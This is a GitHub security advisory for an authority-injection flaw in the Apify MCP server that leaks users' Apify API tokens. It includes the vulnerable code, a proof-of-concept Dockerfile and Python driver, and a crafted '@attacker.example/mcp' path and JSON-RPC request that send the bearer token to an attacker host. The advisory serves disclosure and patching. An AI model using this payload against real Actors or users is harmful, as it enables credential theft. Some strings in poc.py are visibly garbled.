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Apify Model Context Protocol (MCP) server: Actor MCP path authority injection leaks Apify token

High severity GitHub Reviewed Published May 28, 2026 in apify/apify-mcp-server • Updated Jul 1, 2026

Package

npm @apify/actors-mcp-server (npm)

Affected versions

< 0.10.11

Patched versions

0.10.11

Description

Actor MCP path authority injection leaks Apify token

Summary

@apify/actors-mcp-server version 0.10.7 builds Actor standby URLs by directly concatenating a trusted base URL with an attacker-controlled webServerMcpPath value taken from an Actor definition returned by the Apify API. An attacker who publishes a malicious Actor with a crafted webServerMcpPath (e.g., @attacker.example/mcp) can cause the MCP client to resolve the final URL to an entirely different host. Because the MCP client unconditionally attaches the victim's Authorization: Bearer <APIFY_TOKEN> header to every outbound connection, the victim's Apify API token is exfiltrated to the attacker's server. CVSS Base Score: 8.1 (High).

Details

getActorMCPServerURL() in src/mcp/actors.ts:44 constructs the Actor standby MCP URL by naive string concatenation:

// src/mcp/actors.ts:44
return `${standbyUrl}${mcpServerPath}`;

mcpServerPath originates from the webServerMcpPath field of an Actor definition fetched from the Apify API (src/utils/actor.ts:24-28). The field is trimmed and comma-split in getActorMCPServerPath() (src/mcp/actors.ts:14-20) but is never validated to:

  • begin with a / (relative path),
  • avoid an @ character (userinfo/authority injection), or
  • resolve to the same origin as standbyUrl.

When webServerMcpPath is set to @attacker.example/mcp, the concatenated result becomes:

https://real-actor-id.apify.actor@attacker.example/mcp

Node.js's WHATWG URL parser treats everything before @ as userinfo and extracts attacker.example as the hostname. This is not an edge-case browser behavior — it is specified by RFC 3986 and the WHATWG URL standard.

The constructed URL is forwarded to connectMCPClient() through three independent code paths:

Call site Trigger
src/tools/core/call_actor_common.ts:317 call-actor MCP tool
src/utils/actor_details.ts:155 fetch-actor-details MCP tool
src/mcp/server.ts:1047 actor-mcp type tool loading

connectMCPClient() (src/mcp/client.ts) attaches the victim's Apify token as a bearer credential to every transport type:

// src/mcp/client.ts:94  — SSEClientTransport requestInit
authorization: `Bearer ${token}`,

// src/mcp/client.ts:103 — SSE fetch callback
headers.set('authorization', `Bearer ${token}`);

// src/mcp/client.ts:124 — StreamableHTTPClientTransport requestInit
authorization: `Bearer ${token}`,

There is no origin check anywhere between URL construction and the outbound HTTP request.

Full data-flow chain:

  1. src/mcp/server.ts:811 — MCP tools/call request parameters are read.
  2. src/mcp/server.ts:816apifyToken is resolved from _meta.apifyToken, server options, or process.env.APIFY_TOKEN.
  3. src/tools/core/call_actor_common.ts:489-497 — attacker-controlled actor identifier is resolved via getActorMcpUrlCached().
  4. src/utils/actor.ts:24-28 — Actor definition is fetched from the Apify API; webServerMcpPath is passed to getActorMCPServerURL().
  5. src/mcp/actors.ts:14-20webServerMcpPath is trimmed and split; first element is returned without path validation.
  6. src/mcp/actors.ts:44standbyUrl + mcpServerPath produces an authority-injected URL.
  7. connectMCPClient() is called with the injected URL and the victim's token.
  8. src/mcp/client.ts:94/103/124Authorization: Bearer <APIFY_TOKEN> is sent to the attacker's host.

PoC

Environment requirements:

  • Docker (network-isolated container; no external network access needed)
  • The repository at commit 4e2b185 checked out under the build context

Build and run:

# Build the exploit image (from the mcp_38_apify__actors-mcp-server/ context directory)
docker build -t vuln-001-poc \
  -f vuln-001/Dockerfile \
  /path/to/mcp_38_apify__actors-mcp-server

# Run the exploit (--network none: fully air-gapped)
docker run --rm --network none vuln-001-poc

The Dockerfile:

  1. Generates a self-signed TLS certificate for 127.0.0.1 (IP SAN required for Node.js TLS validation).
  2. Installs @apify/actors-mcp-server@0.10.7 dependencies under pnpm.
  3. Sets NODE_EXTRA_CA_CERTS so Node.js trusts the self-signed CA.
  4. Runs exploit.mjs, which:
    • Starts an HTTPS capture server on 127.0.0.1:31337.
    • Constructs a webServerMcpPath of @127.0.0.1:31337/mcp.
    • Calls getActorMCPServerURL() directly, producing https://apify~hello-world.apify.actor@127.0.0.1:31337/mcp.
    • Calls connectMCPClient() with a simulated victim token (apify_api_VICTIM_SECRET_TOKEN_DEMO_12345).
    • Asserts that the capture server received Authorization: Bearer apify_api_VICTIM_SECRET_TOKEN_DEMO_12345.

Observed output (Phase 2 evidence):

  parsed.hostname        : 127.0.0.1
[PASS] URL injection confirmed: request will be sent to 127.0.0.1:31337
=== STEP 2: attacker HTTPS server received request ===
  Authorization     : Bearer apify_api_VICTIM_SECRET_TOKEN_DEMO_12345
=== RESULT: EXPLOIT SUCCESSFUL ===
[PROOF] Victim token "Bearer apify_api_VICTIM_SECRET_TOKEN_DEMO_12345" arrived at attacker server 127.0.0.1:31337

Alternative MCP request path (real-world scenario):

A victim running @apify/actors-mcp-server connected to an MCP host sends the following request, where attacker/malicious-mcp is an Actor published with webServerMcpPath = "@attacker.example/mcp":

{
  "jsonrpc": "2.0",
  "id": 1,
  "method": "tools/call",
  "params": {
    "name": "fetch-actor-details",
    "arguments": {
      "actor": "attacker/malicious-mcp",
      "output": { "mcpTools": true }
    },
    "_meta": { "mcpSessionId": "poc-session" }
  }
}

The attacker's server at attacker.example receives:

Authorization: Bearer apify_api_victim_token

URL parser primitive (Node.js REPL verification):

node -e "const u=new URL('https://ABC.apify.actor@127.0.0.1:31337/mcp'); console.log(u.hostname, u.username)"
# Output: 127.0.0.1  ABC.apify.actor

Recommended fix:

--- a/src/mcp/actors.ts
+++ b/src/mcp/actors.ts
 export async function getActorMCPServerURL(realActorId: string, mcpServerPath: string): Promise<string> {
     const standbyUrl = await getActorStandbyURL(realActorId, standbyBaseUrl);
-    return `${standbyUrl}${mcpServerPath}`;
+    const url = new URL(mcpServerPath, `${standbyUrl}/`);
+    if (url.origin !== standbyUrl) {
+        throw new Error('Actor MCP server path must resolve under the Actor standby URL');
+    }
+    url.username = '';
+    url.password = '';
+    return url.toString();
 }

Impact

Any user of @apify/actors-mcp-server who:

  1. has an Apify API token configured (via APIFY_TOKEN, server options, or _meta.apifyToken), and
  2. is induced to invoke call-actor, fetch-actor-details, or any actor-mcp type tool against an attacker-controlled Actor,

will have their Apify API token silently exfiltrated to the attacker's server. The Apify API token grants full access to the victim's Apify account, including running and managing Actors, accessing stored data, and incurring compute charges. The attack requires no special privileges on the victim's side and no code execution on the victim's machine — only a crafted Actor definition on the Apify platform.

This is a Server-Side Request Forgery (SSRF) / URL authority injection vulnerability. The attacker redirects the MCP client's outbound connection to an arbitrary host while the client continues to send the victim's credential.

Reproduction artifacts

Dockerfile

FROM node:24-slim

# ─── system packages ───────────────────────────────────────────────────────────
RUN apt-get update && apt-get install -y --no-install-recommends openssl python3 \
 && rm -rf /var/lib/apt/lists/*

# ─── self-signed TLS cert for the attacker capture server (127.0.0.1) ─────────
# IP SAN required: Node.js rejects certs without SAN matching the requested hostname.
RUN mkdir /certs && \
 openssl req -x509 -newkey rsa:2048 \
 -keyout /certs/key.pem -out /certs/cert.pem \
 -days 1 -nodes \
 -subj '/CN=127.0.0.1' \
 -addext 'subjectAltName=IP:127.0.0.1' \
 2>/dev/null

# ─── vulnerable package ────────────────────────────────────────────────────────
WORKDIR /app
COPY repo/ ./

# pnpm@11 is pinned in devEngines; npm/yarn refuse to run inside this checkout.
RUN npm install -g pnpm@11.1.3 --quiet 2>/dev/null

# Install only production deps — build output not needed; exploit imports from source via tsx.
# --frozen-lockfile validates the lockfile is up-to-date with package.json.
RUN pnpm install --frozen-lockfile

# ─── exploit files ─────────────────────────────────────────────────────────────
COPY vuln-001/exploit.mjs /exploit.mjs

# Trust our self-signed CA so both undici/fetch and node:https accept TLS connections to 127.0.0.1.
ENV NODE_EXTRA_CA_CERTS=/certs/cert.pem

CMD ["node", "/exploit.mjs"]

poc.py

#!/usr/bin/env python3
"""
VULN-001 dynamic PoC driver.

Builds the Docker image, runs the exploit container, collects observable evidence,
and writes phase2_result.json with the outcome.
"""
import json
import os
import subprocess
import sys
import textwrap

# ─── paths ────────────────────────────────────────────────────────────────────
THIS_DIR    = os.path.dirname(os.path.abspath(__file__))          # vuln-001/
CONTEXT_DIR = os.path.dirname(THIS_DIR)                           # mcp_38_apify__actors-mcp-server/
DOCKERFILE  = os.path.join(THIS_DIR, 'Dockerfile')
RESULT_PATH = os.path.join(THIS_DIR, 'phase2_result.json')
IMAGE_TAG   = 'vuln-001-poc'

BUILD_CMD = ['docker', 'build', '-t', IMAGE_TAG, '-f', DOCKERFILE, CONTEXT_DIR]
RUN_CMD   = ['docker', 'run', '--rm', '--network', 'none', IMAGE_TAG]


def run(cmd, *, timeout, **kwargs):
    return subprocess.run(cmd, capture_output=True, text=True, timeout=timeout, **kwargs)


def write_result(payload: dict):
    with open(RESULT_PATH, 'w') as f:
        json.dump(payload, f, indent=2, ensure_ascii=False)
    print(f'\n[*] phase2_result.json write complete: {RESULT_PATH}')


def main():
    print('=' * 70)
    print('VULN-001 dynamic reproduction — Actor MCP path authority injection')
    print('=' * 70)

    # ── 1. Docker build ───────────────────────────────────────────────────────
    print(f'\n[1/2] building Docker image...')
    print(f'      command: {" ".join(BUILD_CMD)}')
    build = run(BUILD_CMD, timeout=600)
    if build.returncode != 0:
        msg = build.stderr[-2000:] if build.stderr else build.stdout[-2000:]
        print('[!] build failed:\n', msg)
        write_result({
            'passed': False,
            'verdict': 'FAIL',
            'reason': f'Docker build failed. error: {msg[:500]}',
            'build_command': ' '.join(BUILD_CMD),
            'run_command': ' '.join(RUN_CMD),
            'poc_command': f'python3 {os.path.relpath(__file__)}',
            'evidence': msg[:1000],
            'artifacts': ['Dockerfile', 'exploit.mjs', 'poc.py'],
        })
        sys.exit(1)
    print('[+] build succeeded')

    # ── 2. Docker run ─────────────────────────────────────────────────────────
    print(f'\n[2/2] text while running the container...')
    print(f'      command: {" ".join(RUN_CMD)}')
    try:
        run_result = run(RUN_CMD, timeout=120)
    except subprocess.TimeoutExpired:
        write_result({
            'passed': False,
            'verdict': 'INCOMPLETE',
            'reason': 'container execution 120seconds timeout. text text or TLS handshake issuetext can exists.',
            'build_command': ' '.join(BUILD_CMD),
            'run_command': ' '.join(RUN_CMD),
            'poc_command': f'python3 {os.path.relpath(__file__)}',
            'evidence': 'timeout',
            'artifacts': ['Dockerfile', 'exploit.mjs', 'poc.py'],
        })
        sys.exit(1)

    stdout = run_result.stdout
    stderr = run_result.stderr
    print('\n--- container stdout ---')
    print(stdout)
    if stderr:
        print('--- container stderr (text 1000characters) ---')
        print(stderr[:1000])

    # ── 3. result verdict ──────────────────────────────────────────────────────────
    passed = (
        run_result.returncode == 0
        and 'attacker HTTPS server received request' in stdout
        and 'EXPLOIT SUCCESSFUL' in stdout
        and 'apify_api_VICTIM_SECRET_TOKEN_DEMO_12345' in stdout
    )

    # Build evidence excerpt (key lines only)
    evidence_lines = [l for l in stdout.splitlines()
                      if any(k in l for k in ['PASS', 'PROOF', 'received request',
                                               'EXPLOIT', 'parsed.hostname', 'Authorization'])]
    evidence = '\n'.join(evidence_lines[:20]) if evidence_lines else stdout[-1500:]

    if passed:
        print('\n[✓] PASS — token leak vulnerability dynamic reproduction success')
        write_result({
            'passed': True,
            'verdict': 'PASS',
            'reason': (
                'Docker container withintext vulnerabilitytext fully reproductiondone. '
                'actors.ts:44text `${standbyUrl}${mcpServerPath}` string text '
                '`@127.0.0.1:31337/mcp` formtext mcpServerPathtext textdo '
                '`https://apify~hello-world.apify.actor@127.0.0.1:31337/mcp` URLtext createand, '
                'Node.js URL text hostnametext 127.0.0.1(attacker server)text dotextdo '
                'client.ts:94text `Authorization: Bearer <APIFY_TOKEN>` headertext attacker HTTPS servertext beforetextdone.'
            ),
            'build_command': ' '.join(BUILD_CMD),
            'run_command': ' '.join(RUN_CMD),
            'poc_command': f'python3 poc.py',
            'evidence': evidence,
            'artifacts': ['Dockerfile', 'exploit.mjs', 'poc.py'],
        })
    else:
        reason_detail = ''
        if run_result.returncode != 0:
            reason_detail = f'container exit code {run_result.returncode}. '
        if 'TOKEN_CAPTURED' not in stdout:
            reason_detail += 'attacker serverfrom token capture text textnot not. '
        if 'EXPLOIT SUCCESSFUL' not in stdout:
            reason_detail += 'final success message none. '

        print(f'\n[✗] FAIL — {reason_detail}')
        write_result({
            'passed': False,
            'verdict': 'FAIL',
            'reason': f'failed to reproduce the vulnerability. {reason_detail}stderr: {stderr[:300]}',
            'build_command': ' '.join(BUILD_CMD),
            'run_command': ' '.join(RUN_CMD),
            'poc_command': f'python3 poc.py',
            'evidence': stdout[-2000:] + ('\nSTDERR: ' + stderr[:500] if stderr else ''),
            'artifacts': ['Dockerfile', 'exploit.mjs', 'poc.py'],
        })
        sys.exit(1)


if __name__ == '__main__':
    main()

References

@MQ37 MQ37 published to apify/apify-mcp-server May 28, 2026
Published to the GitHub Advisory Database Jul 1, 2026
Reviewed Jul 1, 2026
Last updated Jul 1, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

EPSS score

Weaknesses

Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Learn more on MITRE.

CVE ID

CVE-2026-50143

GHSA ID

GHSA-6gr2-qh89-hxwm

Credits

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